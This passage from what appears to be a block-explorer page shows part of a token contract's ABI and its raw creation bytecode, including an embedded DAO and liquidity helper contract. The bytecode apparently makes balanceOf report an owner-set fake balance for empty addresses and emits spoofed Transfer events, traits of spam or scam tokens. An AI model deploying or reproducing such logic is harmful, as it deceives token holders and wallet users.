Token.Fees","name":"fees_","type":"tuple"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"setPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"num","type":"uint256"}],"name":"setinb","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"}],"name":"unSetPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600e80546001600160a01b03191660ad1790556001600f5560196010553480156200002e57600080fd5b50604051620043a0380380620043a0833981016040819052620000519162000cd5565b8282600362000061838262000dd7565b50600462000070828262000dd7565b5050506200008d62000087620001dd60201b60201c565b620001e1565b60088054336001600160a01b03199182161790915560098054909116737a250d5630b4cf539739df2c5dacb4c659f2488d17905573c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2620000e18162000233565b6040805160808101825260c88082526020820181905260009282018390526127106060909201829052600a819055600b55600c91909155600d553360095460405183916001600160a01b031690620001399062000c02565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103906000f08015801562000176573d6000803e3d6000fd5b50600680546001600160a01b0319166001600160a01b03928316908117909155600954620001a8921660001962000486565b600854620001d3906001600160a01b0316620001cd84670de0b6b3a764000062000eb9565b620005ae565b5050505062000f58565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6009546040805163c45a015560e01b815290516001600160a01b0390921691600091839163c45a0155916004808201926020929091908290030181865afa15801562000283573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a9919062000ed3565b60405163e6a4390560e01b81526001600160a01b038581166004830152306024830152919091169063e6a43905906044016020604051808303816000875af1158015620002fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000320919062000ed3565b90506001600160a01b0381166200041057816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000370573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000396919062000ed3565b6040516364e329cb60e11b81526001600160a01b038581166004830152306024830152919091169063c9c65396906044016020604051808303816000875af1158015620003e7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200040d919062000ed3565b90505b6001600160a01b038116620004605760405162461bcd60e51b81526020600482015260116024820152701c185a5c881a5cc81b9bdd08199bdd5b99607a1b60448201526064015b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff191660011790555050565b6001600160a01b038316620004ea5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840162000457565b6001600160a01b0382166200054d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840162000457565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038216620006065760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640162000457565b62000614600083836200067c565b806002600082825462000628919062000f05565b90915550506001600160a01b0382166000818152602081815260408083208054860190555184815260008051602062004380833981519152910160405180910390a36200067860008383620007c2565b5050565b600954600160a01b900460ff16156200069457505050565b6009805460ff60a01b1916600160a01b1790556001600160a01b03831660009081526007602052604090205460ff16158015620006ea57506001600160a01b03821660009081526007602052604090205460ff16155b80620006f4575080155b620007b0576001600160a01b03831660009081526007602052604081205460ff166200074b576001600160a01b03831660009081526007602052604090205460ff16620007435760006200074e565b60026200074e565b60015b6006546040516376b4266360e11b815260ff929092166004830181905292506001600160a01b03169063ed684cc690602401600060405180830381600087803b1580156200079b57600080fd5b505af1925050508015620007ad575060015b50505b50506009805460ff60a01b1916905550565b600954600160a01b900460ff1615620007da57505050565b6009805460ff60a01b1916600160a01b1790556001600160a01b03831615806200080b57506001600160a01b038216155b620007b0576200081d8383836200088e565b60105415620007b057601054604051637d3e3d1760e01b815260048101919091523090637d3e3d1790602401600060405180830381600087803b1580156200086457600080fd5b505af192505050801562000876575060015b15620007b05750506009805460ff60a01b1916905550565b6001600160a01b03831660009081526007602052604081205460ff16620008e2576001600160a01b03831660009081526007602052604090205460ff16620008d957600c54620008e6565b600b54620008e6565b600a545b9050600062000922600a600301546200090e848662000a2960201b62000b531790919060201c565b62000a4060201b62000b5f1790919060201c565b6008549091506001600160a01b03868116911614806200094f57506008546001600160a01b038581169116145b1562000959575060005b6001600160a01b03841660009081526007602052604090205460ff168015620009e45750836001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015620009bc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620009e2919062000f1b565b155b15620009ee575060005b801562000a225762000a2284600660009054906101000a90046001600160a01b03168362000a4e60201b62000b6b1760201c565b5050505050565b600062000a37828462000eb9565b90505b92915050565b600062000a37828462000f35565b6001600160a01b03831662000ab45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840162000457565b6001600160a01b03821662000b185760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840162000457565b62000b258383836200067c565b6001600160a01b0383166000908152602081905260409020548181101562000b9f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840162000457565b6001600160a01b038481166000818152602081815260408083208787039055938716808352918490208054870190559251858152909260008051602062004380833981519152910160405180910390a362000bfc848484620007c2565b50505050565b611bb280620027ce83390190565b634e487b7160e01b600052604160045260246000fd5b600082601f83011262000c3857600080fd5b81516001600160401b038082111562000c555762000c5562000c10565b604051601f8301601f19908116603f0116810190828211818310171562000c805762000c8062000c10565b8160405283815260209250868385880101111562000c9d57600080fd5b600091505b8382101562000cc1578582018301518183018401529082019062000ca2565b600093810190920192909252949350505050565b60008060006060848603121562000ceb57600080fd5b83516001600160401b038082111562000d0357600080fd5b62000d118783880162000c26565b9450602086015191508082111562000d2857600080fd5b5062000d378682870162000c26565b925050604084015190509250925092565b600181811c9082168062000d5d57607f821691505b60208210810362000d7e57634e487b7160e01b600052602260045260246000fd5b50919050565b601f82111562000dd257600081815260208120601f850160051c8101602086101562000dad5750805b601f850160051c820191505b8181101562000dce5782815560010162000db9565b5050505b505050565b81516001600160401b0381111562000df35762000df362000c10565b62000e0b8162000e04845462000d48565b8462000d84565b602080601f83116001811462000e43576000841562000e2a5750858301515b600019600386901b1c1916600185901b17855562000dce565b600085815260208120601f198616915b8281101562000e745788860151825594840194600190910190840162000e53565b508582101562000e935787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141762000a3a5762000a3a62000ea3565b60006020828403121562000ee657600080fd5b81516001600160a01b038116811462000efe57600080fd5b9392505050565b8082018082111562000a3a5762000a3a62000ea3565b60006020828403121562000f2e57600080fd5b5051919050565b60008262000f5357634e487b7160e01b600052601260045260246000fd5b500490565b6118668062000f686000396000f3fe60806040526004361061016a5760003560e01c80637cc5b1e6116100d1578063a457c2d71161008a578063dd62ed3e11610064578063dd62ed3e14610461578063f2fde38b14610481578063fc6daaaa146104a1578063fd77c960146104c157600080fd5b8063a457c2d714610401578063a9059cbb14610421578063d0679d341461044157600080fd5b80637cc5b1e6146103135780637d3e3d171461034b5780638187f5161461036b5780638da5cb5b1461038b57806395d89b41146103a95780639af1d35a146103be57600080fd5b80633950935111610123578063395093511461024e57806342966c681461026e5780636accdf941461028e57806370a08231146102be578063715018a6146102de57806379cc6790146102f357600080fd5b806306fdde0314610176578063095ea7b3146101a15780630dd0cc7d146101d157806318160ddd146101f357806323b872dd14610212578063313ce5671461023257600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5061018b6104e1565b60405161019891906114f9565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc36600461155c565b610573565b6040519015158152602001610198565b3480156101dd57600080fd5b506101f16101ec366004611588565b61058d565b005b3480156101ff57600080fd5b506002545b604051908152602001610198565b34801561021e57600080fd5b506101c161022d3660046115aa565b6105a0565b34801561023e57600080fd5b5060405160128152602001610198565b34801561025a57600080fd5b506101c161026936600461155c565b6105c4565b34801561027a57600080fd5b506101f16102893660046115eb565b6105e6565b34801561029a57600080fd5b506101c16102a9366004611604565b60076020526000908152604090205460ff1681565b3480156102ca57600080fd5b506102046102d9366004611604565b6105f3565b3480156102ea57600080fd5b506101f1610631565b3480156102ff57600080fd5b506101f161030e36600461155c565b610645565b34801561031f57600080fd5b50600654610333906001600160a01b031681565b6040516001600160a01b039091168152602001610198565b34801561035757600080fd5b506101f16103663660046115eb565b61065e565b34801561037757600080fd5b506101f1610386366004611604565b610667565b34801561039757600080fd5b506005546001600160a01b0316610333565b3480156103b557600080fd5b5061018b6108ac565b3480156103ca57600080fd5b50600a54600b54600c54600d546103e19392919084565b604080519485526020850193909352918301526060820152608001610198565b34801561040d57600080fd5b506101c161041c36600461155c565b6108bb565b34801561042d57600080fd5b506101c161043c36600461155c565b610936565b34801561044d57600080fd5b506101f161045c36600461155c565b610944565b34801561046d57600080fd5b5061020461047c366004611621565b610a63565b34801561048d57600080fd5b506101f161049c366004611604565b610a8e565b3480156104ad57600080fd5b506101f16104bc366004611604565b610b04565b3480156104cd57600080fd5b506101f16104dc36600461165a565b610b2d565b6060600380546104f0906116ce565b80601f016020809104026020016040519081016040528092919081815260200182805461051c906116ce565b80156105695780601f1061053e57610100808354040283529160200191610569565b820191906000526020600020905b81548152906001019060200180831161054c57829003601f168201915b5050505050905090565b600033610581818585610d26565b60019150505b92915050565b610595610e4a565b600f91909155601055565b6000336105ae858285610ea4565b6105b9858585610b6b565b506001949350505050565b6000336105818185856105d78383610a63565b6105e1919061171e565b610d26565b6105f03382610f18565b50565b6001600160a01b03811660008181526020819052604081205490916106185792915050565b6000811161062857600f5461062a565b805b9392505050565b610639610e4a565b610643600061105d565b565b610650823383610ea4565b61065a8282610f18565b5050565b6105f0816110af565b6009546040805163c45a015560e01b815290516001600160a01b0390921691600091839163c45a0155916004808201926020929091908290030181865afa1580156106b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106da9190611731565b60405163e6a4390560e01b81526001600160a01b038581166004830152306024830152919091169063e6a43905906044016020604051808303816000875af115801561072a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061074e9190611731565b90506001600160a01b03811661083757816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c09190611731565b6040516364e329cb60e11b81526001600160a01b038581166004830152306024830152919091169063c9c65396906044016020604051808303816000875af1158015610810573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108349190611731565b90505b6001600160a01b0381166108865760405162461bcd60e51b81526020600482015260116024820152701c185a5c881a5cc81b9bdd08199bdd5b99607a1b60448201526064015b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff191660011790555050565b6060600480546104f0906116ce565b600033816108c98286610a63565b9050838110156109295760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161087d565b6105b98286868403610d26565b600033610581818585610b6b565b6001600160a01b0382166109ec576008546040516000916001600160a01b03169083908381818185875af1925050503d806000811461099f576040519150601f19603f3d011682016040523d82523d6000602084013e6109a4565b606091505b50509050806109e75760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b604482015260640161087d565b505050565b60085460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610a3f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e7919061174e565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610a96610e4a565b6001600160a01b038116610afb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161087d565b6105f08161105d565b610b0c610e4a565b6001600160a01b03166000908152600760205260409020805460ff19169055565b610b35610e4a565b8051600a556020810151600b556040810151600c5560600151600d55565b600061062a8284611770565b600061062a828461179d565b6001600160a01b038316610bcf5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161087d565b6001600160a01b038216610c315760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161087d565b610c3c83838361119f565b6001600160a01b03831660009081526020819052604090205481811015610cb45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161087d565b6001600160a01b03848116600081815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3610d208484846112db565b50505050565b6001600160a01b038316610d885760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161087d565b6001600160a01b038216610de95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161087d565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b031633146106435760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161087d565b6000610eb08484610a63565b90506000198114610d205781811015610f0b5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161087d565b610d208484848403610d26565b6001600160a01b038216610f785760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161087d565b610f848260008361119f565b6001600160a01b03821660009081526020819052604090205481811015610ff85760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161087d565b6001600160a01b0383166000818152602081815260408083208686039055600280548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36109e7836000846112db565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60008060005b83811015610d2057600e546110d5906001600160a01b03166000196117b1565b600e549093506110ef906001600160a01b031660016117d7565b600e80546001600160a01b0319166001600160a01b0392909216918217905561111a906000196117b1565b600e54909250611134906001600160a01b031660016117d7565b600e80546001600160a01b0319166001600160a01b03928316179055600f54604051908152848216918416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a380611197816117fe565b9150506110b5565b600954600160a01b900460ff16156111b657505050565b6009805460ff60a01b1916600160a01b1790556001600160a01b03831660009081526007602052604090205460ff1615801561120b57506001600160a01b03821660009081526007602052604090205460ff16155b80611214575080155b6112c9576001600160a01b03831660009081526007602052604081205460ff16611266576001600160a01b03831660009081526007602052604090205460ff1661125f576000611269565b6002611269565b60015b6006546040516376b4266360e11b815260ff929092166004830181905292506001600160a01b03169063ed684cc690602401600060405180830381600087803b1580156112b557600080fd5b505af19250505080156112c6575060015b50505b50506009805460ff60a01b1916905550565b600954600160a01b900460ff16156112f257505050565b6009805460ff60a01b1916600160a01b1790556001600160a01b038316158061132257506001600160a01b038216155b6112c95761133183838361139e565b601054156112c957601054604051637d3e3d1760e01b815260048101919091523090637d3e3d1790602401600060405180830381600087803b15801561137657600080fd5b505af1925050508015611387575060015b156112c95750506009805460ff60a01b1916905550565b6001600160a01b03831660009081526007602052604081205460ff166113ee576001600160a01b03831660009081526007602052604090205460ff166113e657600c546113f2565b600b546113f2565b600a545b600d5490915060009061140f906114098585610b53565b90610b5f565b6008549091506001600160a01b038681169116148061143b57506008546001600160a01b038581169116145b15611444575060005b6001600160a01b03841660009081526007602052604090205460ff1680156114cb5750836001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c99190611817565b155b156114d4575060005b80156114f2576006546114f29085906001600160a01b031683610b6b565b5050505050565b600060208083528351808285015260005b818110156115265785810183015185820160400152820161150a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105f057600080fd5b6000806040838503121561156f57600080fd5b823561157a81611547565b946020939093013593505050565b6000806040838503121561159b57600080fd5b50508035926020909101359150565b6000806000606084860312156115bf57600080fd5b83356115ca81611547565b925060208401356115da81611547565b929592945050506040919091013590565b6000602082840312156115fd57600080fd5b5035919050565b60006020828403121561161657600080fd5b813561062a81611547565b6000806040838503121561163457600080fd5b823561163f81611547565b9150602083013561164f81611547565b809150509250929050565b60006080828403121561166c57600080fd5b6040516080810181811067ffffffffffffffff8211171561169d57634e487b7160e01b600052604160045260246000fd5b8060405250823581526020830135602082015260408301356040820152606083013560608201528091505092915050565b600181811c908216806116e257607f821691505b60208210810361170257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561058757610587611708565b60006020828403121561174357600080fd5b815161062a81611547565b60006020828403121561176057600080fd5b8151801515811461062a57600080fd5b808202811582820484141761058757610587611708565b634e487b7160e01b600052601260045260246000fd5b6000826117ac576117ac611787565b500490565b60006001600160a01b03838116806117cb576117cb611787565b92169190910492915050565b6001600160a01b038181168382160190808211156117f7576117f7611708565b5092915050565b60006001820161181057611810611708565b5060010190565b60006020828403121561182957600080fd5b505191905056fea2646970667358221220a0ad45e919ee56ce067012f8bc59aabd9d1d89d5d1d387a47180736bed93a23d64736f6c6343000812003360806040523480156200001157600080fd5b5060405162001bb238038062001bb283398101604081905262000034916200026f565b6200003f3362000202565b6200004a8362000202565b33600180546001600160a01b03199081166001600160a01b03938416179091556002805482168584161790556003805490911691831691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620000c1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000e79190620002b9565b60015460025460405163e6a4390560e01b81526001600160a01b039283166004820152908216602482015291169063e6a43905906044016020604051808303816000875af11580156200013e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001649190620002b9565b600480546001600160a01b0319166001600160a01b0392831617815560025460035460405163095ea7b360e01b81529084169281019290925260001960248301529091169063095ea7b3906044016020604051808303816000875af1158015620001d2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f89190620002de565b5050505062000302565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80516001600160a01b03811681146200026a57600080fd5b919050565b6000806000606084860312156200028557600080fd5b620002908462000252565b9250620002a06020850162000252565b9150620002b06040850162000252565b90509250925092565b600060208284031215620002cc57600080fd5b620002d78262000252565b9392505050565b600060208284031215620002f157600080fd5b81518015158114620002d757600080fd5b6118a080620003126000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c80638bd2b73611610097578063c4451e3e11610066578063c4451e3e14610249578063d0679d3414610251578063ed684cc614610264578063f2fde38b1461027757600080fd5b80638bd2b736146101dc5780638da5cb5b146101ef578063a58e0c3214610200578063a806d62e1461021357600080fd5b80636d49531a116100d35780636d49531a14610173578063715018a6146101ae57806375df81a6146101b65780638187f516146101c957600080fd5b806316b19575146101055780631d55a7dc146101355780632e6bb3211461014a5780634d7ca8ae1461015d575b600080fd5b610118610113366004611278565b61028a565b6040516001600160a01b0390911681526020015b60405180910390f35b610148610143366004611345565b6102b4565b005b610148610158366004611499565b6102da565b610165610306565b60405190815260200161012c565b60055460065460075460085461018c9360ff1692919084565b604080519415158552602085019390935291830152606082015260800161012c565b610148610428565b6101486101c4366004611529565b61043c565b6101486101d736600461155a565b610470565b6101656101ea366004611278565b610618565b6000546001600160a01b0316610118565b61014861020e36600461157e565b610639565b600954600a54600b54600c546102299392919084565b60408051948552602085019390935291830152606082015260800161012c565b61016561079f565b61014861025f3660046115e7565b610814565b610148610272366004611278565b61093a565b61014861028536600461155a565b610d4f565b600d818154811061029a57600080fd5b6000918252602090912001546001600160a01b0316905081565b6102bc610dc8565b80516009556020810151600a556040810151600b5560600151600c55565b6102e2610dc8565b6102eb856102b4565b6102f48461043c565b6102ff838383610639565b5050505050565b60408051600280825260608201835260009283929190602083019080368337505060015482519293506001600160a01b03169183915060009061034b5761034b611613565b6001600160a01b03928316602091820292909201015260025482519116908290600190811061037c5761037c611613565b6001600160a01b03928316602091820292909201015260035460405163d06ca61f60e01b815291169063d06ca61f906103c390670de0b6b3a764000090859060040161166d565b600060405180830381865afa1580156103e0573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610408919081019061168e565b60018151811061041a5761041a611613565b602002602001015191505090565b610430610dc8565b61043a6000610e22565b565b610444610dc8565b80516005805460ff19169115159190911790556020810151600655604081015160075560600151600855565b610478610dc8565b600280546001600160a01b0319166001600160a01b0383811691821790925560035460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af11580156104df573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610503919061171f565b50600360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610557573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057b919061173c565b60015460025460405163e6a4390560e01b81526001600160a01b039283166004820152908216602482015291169063e6a43905906044016020604051808303816000875af11580156105d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f5919061173c565b600480546001600160a01b0319166001600160a01b039290921691909117905550565b600e818154811061062857600080fd5b600091825260209091200154905081565b610641610dc8565b816106885760405162461bcd60e51b815260206004820152601260248201527144414f3a43616e277420626520456d70747960701b60448201526064015b60405180910390fd5b805182146106d85760405162461bcd60e51b815260206004820152601b60248201527f44414f3a6e756d626572206d757374206265207468652073616d650000000000604482015260640161067f565b6000805b8251811015610725576107118382815181106106fa576106fa611613565b602002602001015183610e7290919063ffffffff16565b91508061071d8161176f565b9150506106dc565b50600081116107765760405162461bcd60e51b815260206004820181905260248201527f44414f3a7368617265206d7573742067726561746572207468616e207a65726f604482015260640161067f565b610782600d85856111c5565b50815161079690600e906020850190611228565b50600f55505050565b60408051600280825260608201835260009283929190602083019080368337505060025482519293506001600160a01b0316918391506000906107e4576107e4611613565b6001600160a01b039283166020918202929092010152600180548351921691839190811061037c5761037c611613565b61081c610dc8565b6001600160a01b0382166108b957604051600090339083908381818185875af1925050503d806000811461086c576040519150601f19603f3d011682016040523d82523d6000602084013e610871565b606091505b50509050806108b45760405162461bcd60e51b815260206004820152600f60248201526e1d1c985b9cd9995c8819985a5b1959608a1b604482015260640161067f565b505050565b6001600160a01b03821663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af1158015610916573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b4919061171f565b8080600214158061094e575060055460ff16155b15610957575050565b6001546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156109a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c49190611788565b600854600654600154604080516318160ddd60e01b81529051949550610a4d94610a4793926001600160a01b0316916318160ddd9160048083019260209291908290030181865afa158015610a1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a419190611788565b90610e87565b90610e93565b811015610a5957505050565b6000610ac0600560030154610a47600560020154600160009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a1d573d6000803e3d6000fd5b905080821115610ace578091505b6000806000610adc85610e9f565b919450925090508115610b4857600154604051630852cd8d60e31b8152600481018490526001600160a01b03909116906342966c6890602401600060405180830381600087803b158015610b2f57600080fd5b505af1158015610b43573d6000803e3d6000fd5b505050505b8215610b5757610b5783610f10565b6002546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa158015610ba0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc49190611788565b600a54600b54919250600091610bf39190610bed90610be4906002610e93565b600c5490610ffe565b90610ffe565b90506000610c186002610a4784610a4760096002015488610e8790919063ffffffff16565b90506000610c268483610ffe565b90508015610d32576000805b600d54811015610d2f57610c72600f54610a47600e8481548110610c5857610c58611613565b906000526020600020015486610e8790919063ffffffff16565b600254600d80549294506001600160a01b039091169163a9059cbb919084908110610c9f57610c9f611613565b60009182526020909120015460405160e083901b6001600160e01b03191681526001600160a01b039091166004820152602481018590526044016020604051808303816000875af1158015610cf8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1c919061171f565b5080610d278161176f565b915050610c32565b50505b8415610d4257610d42858361100a565b5050505050505050505050565b610d57610dc8565b6001600160a01b038116610dbc5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161067f565b610dc581610e22565b50565b6000546001600160a01b0316331461043a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161067f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000610e7e82846117a1565b90505b92915050565b6000610e7e82846117b4565b6000610e7e82846117cb565b600080600080610ec6600960030154610a4760096001015488610e8790919063ffffffff16565b90506000610ef06002610a47600960030154610a476009600201548b610e8790919063ffffffff16565b90506000610f0283610bed8985610ffe565b979296509094509092505050565b604080516002808252606082018352600092602083019080368337505060015482519293506001600160a01b031691839150600090610f5157610f51611613565b6001600160a01b039283166020918202929092010152600254825191169082906001908110610f8257610f82611613565b6001600160a01b039283166020918202929092010152600354604051635c11d79560e01b8152911690635c11d79590610fc89085906000908690309042906004016117ed565b600060405180830381600087803b158015610fe257600080fd5b505af1158015610ff6573d6000803e3d6000fd5b505050505050565b6000610e7e8284611829565b6001546040516370a0823160e01b815230600482015283916001600160a01b0316906370a0823190602401602060405180830381865afa158015611052573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110769190611788565b10806110eb57506002546040516370a0823160e01b815230600482015282916001600160a01b0316906370a0823190602401602060405180830381865afa1580156110c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e99190611788565b105b156110f4575050565b6003546001546002546001600160a01b039283169263e8e337009281169116858560008061112a6000546001600160a01b031690565b60405160e089901b6001600160e01b03191681526001600160a01b039788166004820152958716602487015260448601949094526064850192909252608484015260a483015290911660c48201524260e4820152610104016060604051808303816000875af11580156111a1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102ff919061183c565b828054828255906000526020600020908101928215611218579160200282015b828111156112185781546001600160a01b0319166001600160a01b038435161782556020909201916001909101906111e5565b50611224929150611263565b5090565b828054828255906000526020600020908101928215611218579160200282015b82811115611218578251825591602001919060010190611248565b5b808211156112245760008155600101611264565b60006020828403121561128a57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6040516080810167ffffffffffffffff811182821017156112ca576112ca611291565b60405290565b604051601f8201601f1916810167ffffffffffffffff811182821017156112f9576112f9611291565b604052919050565b60006080828403121561131357600080fd5b61131b6112a7565b90508135815260208201356020820152604082013560408201526060820135606082015292915050565b60006080828403121561135757600080fd5b610e7e8383611301565b8015158114610dc557600080fd5b60006080828403121561138157600080fd5b6113896112a7565b9050813561139681611361565b8082525060208201356020820152604082013560408201526060820135606082015292915050565b60008083601f8401126113d057600080fd5b50813567ffffffffffffffff8111156113e857600080fd5b6020830191508360208260051b850101111561140357600080fd5b9250929050565b600067ffffffffffffffff82111561142457611424611291565b5060051b60200190565b600082601f83011261143f57600080fd5b8135602061145461144f8361140a565b6112d0565b82815260059290921b8401810191818101908684111561147357600080fd5b8286015b8481101561148e5780358352918301918301611477565b509695505050505050565b600080600080600061014086880312156114b257600080fd5b6114bc8787611301565b94506114cb876080880161136f565b935061010086013567ffffffffffffffff808211156114e957600080fd5b6114f589838a016113be565b909550935061012088013591508082111561150f57600080fd5b5061151c8882890161142e565b9150509295509295909350565b6000608